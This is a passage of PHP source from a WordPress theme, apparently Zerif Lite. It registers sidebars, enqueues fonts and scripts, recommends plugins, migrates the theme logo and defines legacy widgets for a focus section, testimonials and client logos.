update_option( 'woocommerce_thumbnail_cropping', 'custom' );
update_option( 'woocommerce_thumbnail_cropping_custom_width', '3' );
update_option( 'woocommerce_thumbnail_cropping_custom_height', '2' );
if ( class_exists( 'WC_Regenerate_Images' ) ) {
$regenerate_obj = new WC_Regenerate_Images();
$regenerate_obj::init();
if ( method_exists( $regenerate_obj, 'maybe_regenerate_images' ) ) {
$regenerate_obj::maybe_regenerate_images();
} elseif ( method_exists( $regenerate_obj, 'maybe_regenerate_images_option_update' ) ) {
// Force woocommerce 3.3.1 to regenerate images
$regenerate_obj::maybe_regenerate_images_option_update( 1, 2, '' );
}
}
update_option( 'zerif_update_woocommerce_customizer_controls', true );
}
/**
* Migrate logo from theme to core
*/
function zerif_migrate_logo() {
$zerif_old_logo = get_theme_mod( 'zerif_logo' );
if ( ! empty( $zerif_old_logo ) ) {
$zerif_old_logo_id = attachment_url_to_postid( $zerif_old_logo );
if ( is_int( $zerif_old_logo_id ) ) {
set_theme_mod( 'custom_logo', $zerif_old_logo_id );
}
remove_theme_mod( 'zerif_logo' );
}
}
add_action( 'after_setup_theme', 'zerif_migrate_logo' );
/**
* Custom excerpt more link
*/
function zerif_excerpt_more( $more ) {
return ' <a href="' . esc_url( get_the_permalink() ) . '" rel="nofollow"><span class="sr-only">' . esc_html__( 'Read more about ', 'zerif-lite' ) . esc_attr( get_the_title() ) . '</span>[…]</a>';
}
/**
* Check if latest posts
*/
function zerif_lite_is_not_latest_posts() {
return ( 'posts' == get_option( 'show_on_front' ) ? true : false );
}
/**
* Check if frontpage
*/
function zerif_lite_is_static_frontpage() {
if ( 'posts' == get_option( 'show_on_front' ) ) {
return false;
} else {
$frontpage_id = get_option( 'page_on_front' );
if ( 'template-frontpage.php' == get_post_meta( $frontpage_id, '_wp_page_template', true ) ) {
return true;
} else {
return false;
}
}
}
/**
* Register widgetized area and update sidebar with default widgets.
*/
function zerif_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'zerif-lite' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'About us section', 'zerif-lite' ),
'id' => 'sidebar-aboutus',
'before_widget' => '<span id="%1$s">',
'after_widget' => '</span>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
register_sidebars(
3,
array(
/* translators: Footer area number */
'name' => __( 'Footer area %d', 'zerif-lite' ),
'id' => 'zerif-sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget footer-widget-footer %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
}
add_action( 'widgets_init', 'zerif_widgets_init' );
/**
* Enqueue fonts
*/
function zerif_slug_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$lato = _x( 'on', 'Lato font: on or off', 'zerif-lite' );
$homemade = _x( 'on', 'Homemade font: on or off', 'zerif-lite' );
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$monserrat = _x( 'on', 'Monserrat font: on or off', 'zerif-lite' );
$zerif_use_safe_font = get_theme_mod( 'zerif_use_safe_font' );
if ( ( 'off' !== $lato || 'off' !== $monserrat || 'off' !== $homemade ) && isset( $zerif_use_safe_font ) && ( $zerif_use_safe_font != 1 ) ) {
$font_families = array();
if ( 'off' !== $lato ) {
$font_families[] = 'Lato:300,400,700,400italic';
}
if ( 'off' !== $monserrat ) {
$font_families[] = 'Montserrat:400,700';
}
if ( 'off' !== $homemade ) {
$font_families[] = 'Homemade Apple';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
return $fonts_url;
}
/**
* Enqueue scripts and styles.
*/
function zerif_scripts() {
wp_enqueue_style( 'zerif_font', zerif_slug_fonts_url(), array(), null );
wp_enqueue_style(
'zerif_font_all',
add_query_arg(
array(
'family' => urlencode( 'Open Sans:300,300italic,400,400italic,600,600italic,700,700italic,800,800italic' ),
'subset' => urlencode( 'latin' ),
),
'//fonts.googleapis.com/css'
)
);
wp_enqueue_style( 'zerif_bootstrap_style', get_template_directory_uri() . '/css/bootstrap.css' );
wp_style_add_data( 'zerif_bootstrap_style', 'rtl', 'replace' );
wp_enqueue_style( 'zerif_fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), 'v1' );
wp_enqueue_style( 'zerif_style', get_stylesheet_uri(), array( 'zerif_fontawesome' ), ZERIF_LITE_VERSION );
/* Add this style only for the other cases than New users that have a static page */
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
if ( ! ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) ) {
$custom_css = 'body.home.page:not(.page-template-template-frontpage) {
background-image: none !important;
}';
wp_add_inline_style( 'zerif_style', $custom_css );
}
wp_enqueue_style( 'zerif_responsive_style', get_template_directory_uri() . '/css/responsive.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_enqueue_style( 'zerif_ie_style', get_template_directory_uri() . '/css/ie.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_style_add_data( 'zerif_ie_style', 'conditional', 'lt IE 9' );
if ( wp_is_mobile() ) {
wp_enqueue_style( 'zerif_style_mobile', get_template_directory_uri() . '/css/style-mobile.css', array( 'zerif_bootstrap_style', 'zerif_style' ), 'v1' );
}
/* Bootstrap script */
wp_enqueue_script( 'zerif_bootstrap_script', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Knob script */
wp_enqueue_script( 'zerif_knob_nav', get_template_directory_uri() . '/js/jquery.knob.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Smootscroll script */
$zerif_disable_smooth_scroll = get_theme_mod( 'zerif_disable_smooth_scroll' );
if ( isset( $zerif_disable_smooth_scroll ) && ( $zerif_disable_smooth_scroll != 1 ) ) {
wp_enqueue_script( 'zerif_smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* scrollReveal script */
if ( ! wp_is_mobile() ) {
wp_enqueue_script( 'zerif_scrollReveal_script', get_template_directory_uri() . '/js/scrollReveal.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* zerif script */
wp_enqueue_script( 'zerif_script', get_template_directory_uri() . '/js/zerif.js', array( 'jquery', 'zerif_knob_nav' ), ZERIF_LITE_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/* HTML5Shiv*/
wp_enqueue_script( 'zerif_html5', get_template_directory_uri() . '/js/html5.js' );
wp_script_add_data( 'zerif_html5', 'conditional', 'lt IE 9' );
/* parallax effect */
if ( ! wp_is_mobile() ) {
/* include parallax only if on frontpage and the parallax effect is activated */
$zerif_parallax_use = get_theme_mod( 'zerif_parallax_show' );
if ( ! empty( $zerif_parallax_use ) && ( $zerif_parallax_use == 1 ) && is_front_page() ) :
wp_enqueue_script( 'zerif_parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ), 'v1', true );
endif;
}
add_editor_style( '/css/custom-editor-style.css' );
}
add_action( 'wp_enqueue_scripts', 'zerif_scripts' );
/**
* Adjust content width based on template.
*/
function zerif_adjust_content_width() {
global $content_width;
$zerif_change_to_full_width = get_theme_mod( 'zerif_change_to_full_width' );
if ( is_page_template( 'template-fullwidth.php' ) || is_page_template( 'template-fullwidth-no-title.php' ) || is_page_template( 'woocommerce.php' ) || is_page_template( 'single-download.php' ) || ( is_page_template( 'page.php' ) && ! empty( $zerif_change_to_full_width ) ) ) {
$content_width = 1110;
}
}
add_action( 'template_redirect', 'zerif_adjust_content_width' );
/**
* Remove Yoast rel="prev/next" link from header
*/
function zerif_remove_yoast_rel_link() {
return false;
}
add_filter( 'wpseo_prev_rel_link', 'zerif_remove_yoast_rel_link' );
add_filter( 'wpseo_next_rel_link', 'zerif_remove_yoast_rel_link' );
add_action( 'tgmpa_register', 'zerif_register_required_plugins' );
/**
* Recommend plugins with TGMPA
*/
function zerif_register_required_plugins() {
$wp_version_nr = get_bloginfo( 'version' );
if ( $wp_version_nr < 3.9 ) :
$plugins = array(
array(
'name' => 'Widget customizer',
'slug' => 'widget-customizer',
'required' => false,
),
array(
'name' => 'WPForms',
'slug' => 'wpforms-lite',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
else :
$plugins = array(
array(
'name' => 'WPForms',
'slug' => 'wpforms-lite',
'required' => false,
),
array(
'name' => 'Orbit Fox',
'slug' => 'themeisle-companion',
'required' => false,
),
);
endif;
$config = array(
'default_path' => '',
'menu' => 'tgmpa-install-plugins',
'has_notices' => true,
'dismissable' => true,
'dismiss_msg' => '',
'is_automatic' => false,
'message' => '',
'strings' => array(
'page_title' => __( 'Install Required Plugins', 'zerif-lite' ),
'menu_title' => __( 'Install Plugins', 'zerif-lite' ),
/* translators: name of installing plugin */
'installing' => __( 'Installing Plugin: %s', 'zerif-lite' ),
'oops' => __( 'Something went wrong with the plugin API.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin */
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'zerif-lite' ),
/* translators: Name of required plugin */
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'zerif-lite' ),
/* translators: Name of required plugin that is not active */
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of recommended plugin that is not active */
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'zerif-lite' ),
/* translators: Name of plguin that can't be activated */
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'zerif-lite' ),
/* translators: Name of plugin that needs to be updated */
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'zerif-lite' ),
/* translators: Nme of plugin that can't be updated */
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'zerif-lite' ),
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'zerif-lite' ),
'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'zerif-lite' ),
'return' => __( 'Return to Required Plugins Installer', 'zerif-lite' ),
'plugin_activated' => __( 'Plugin activated successfully.', 'zerif-lite' ),
/* translators: Name of plugins installed and activated successfully */
'complete' => __( 'All plugins installed and activated successfully. %s', 'zerif-lite' ),
'nag_type' => 'updated',
),
);
tgmpa( $plugins, $config );
}
/* Load Jetpack compatibility file. */
require get_template_directory() . '/inc/jetpack.php';
/**
* Menu layout
*/
function zerif_wp_page_menu() {
echo '<ul class="nav navbar-nav navbar-right responsive-nav main-nav-list">';
wp_list_pages(
array(
'title_li' => '',
'depth' => 1,
)
);
echo '</ul>';
}
add_filter( 'the_title', 'zerif_default_title' );
/**
* Add a default title for posts without one
*/
function zerif_default_title( $title ) {
if ( $title == '' ) {
$title = __( 'Default title', 'zerif-lite' );
}
return $title;
}
add_action( 'widgets_init', 'zerif_register_widgets' );
/**
* Register custom widgets
*/
function zerif_register_widgets() {
if ( ! defined( 'THEMEISLE_COMPANION_VERSION' ) ) {
if ( zerif_check_if_old_version_of_theme() ) {
register_widget( 'zerif_ourfocus' );
register_widget( 'zerif_testimonial_widget' );
register_widget( 'zerif_clients_widget' );
register_widget( 'zerif_team_widget' );
}
}
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
);
/* Register sidebars */
foreach ( $zerif_lite_sidebars as $zerif_lite_sidebar ) :
$extra_class = '';
if ( $zerif_lite_sidebar == 'sidebar-ourfocus' ) :
$zerif_lite_name = __( 'Our focus section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-testimonials' ) :
$extra_class = 'feedback-box';
$zerif_lite_name = __( 'Testimonials section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-ourteam' ) :
$zerif_lite_name = __( 'Our team section widgets', 'zerif-lite' );
else :
$zerif_lite_name = $zerif_lite_sidebar;
endif;
register_sidebar(
array(
'name' => $zerif_lite_name,
'id' => $zerif_lite_sidebar,
'before_widget' => '<span id="%1$s" class="' . $extra_class . '">',
'after_widget' => '</span>',
)
);
endforeach;
}
if ( ! class_exists( 'zerif_ourfocus' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Our focus widget
*/
class zerif_ourfocus extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'ctUp-ads-widget',
__( 'Zerif - Our focus widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 focus-box" data-scrollreveal="enter left after 0.15s over 1s">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
printf(
/* Translators: %s: widget title */
__( 'Go to %s', 'zerif-lite' ),
apply_filters( 'widget_title', $instance['title'] )
);
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_ourfocus_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_ourfocus_custom_media_id ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
_e( 'Go to', 'zerif-lite' );
echo apply_filters( 'widget_title', $instance['title'] );
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
}
}
echo '<h3 class="red-border-bottom">';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</h3>';
if ( ! empty( $instance['text'] ) ) {
echo '<p>' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</p>';
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widgets instance
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Widget controls
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Title', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_testimonial_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Testimonial widget
*/
class zerif_testimonial_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_testim-widget',
__( 'Zerif - Testimonial widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
$zerif_accessibility = get_theme_mod( 'zerif_accessibility' );
// open link in a new tab when checkbox "accessibility" is not ticked
$attribut_new_tab = ( isset( $zerif_accessibility ) && ( $zerif_accessibility != 1 ) ? ' target="_blank"' : '' );
echo $args['before_widget'];
if ( ! empty( $instance['text'] ) ) {
echo '<div class="message">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</div>';
}
echo '<div class="client">';
echo '<div class="quote red-text">';
echo '<i class="fa fa-quote-left"></i>';
echo '</div>';
echo '<div class="client-info">';
echo '<a ' . $attribut_new_tab . ' class="client-name"';
if ( ! empty( $instance['link'] ) ) {
echo 'href="' . esc_url( $instance['link'] ) . '"';
}
echo '>';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</a>';
if ( ! empty( $instance['details'] ) ) {
echo '<div class="client-company">' . apply_filters( 'widget_title', $instance['details'] ) . '</div>';
}
echo '</div>';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="" />';
echo '</div>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_testimonials_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_testimonials_custom_media_id ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $zerif_testimonials_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '" />';
echo '</div>';
}
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widget's values
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['details'] = sanitize_text_field( $new_instance['details'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Author', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Author link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'details' ) . '">' . __( 'Author details', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'details' ) . '" id="' . $this->get_field_id( 'details' ) . '" value="';
if ( ! empty( $instance['details'] ) ) {
echo $instance['details'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_clients_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Clients widget
*/
class zerif_clients_widget extends WP_Widget {
/**
* Constructor
*/
public function __construct() {
parent::__construct(
'zerif_clients-widget',
__( 'Zerif - Clients widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widgets scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Widget instance
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<a href="';
if ( ! empty( $instance['link'] ) ) {
echo apply_filters( 'widget_title', $instance['link'] );
}
echo '">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_clients_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_clients_custom_media_id ) ) {
echo '<img src="' . esc_url( $zerif_clients_custom_media_id ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
}
}
echo '</a>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo $instance['link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
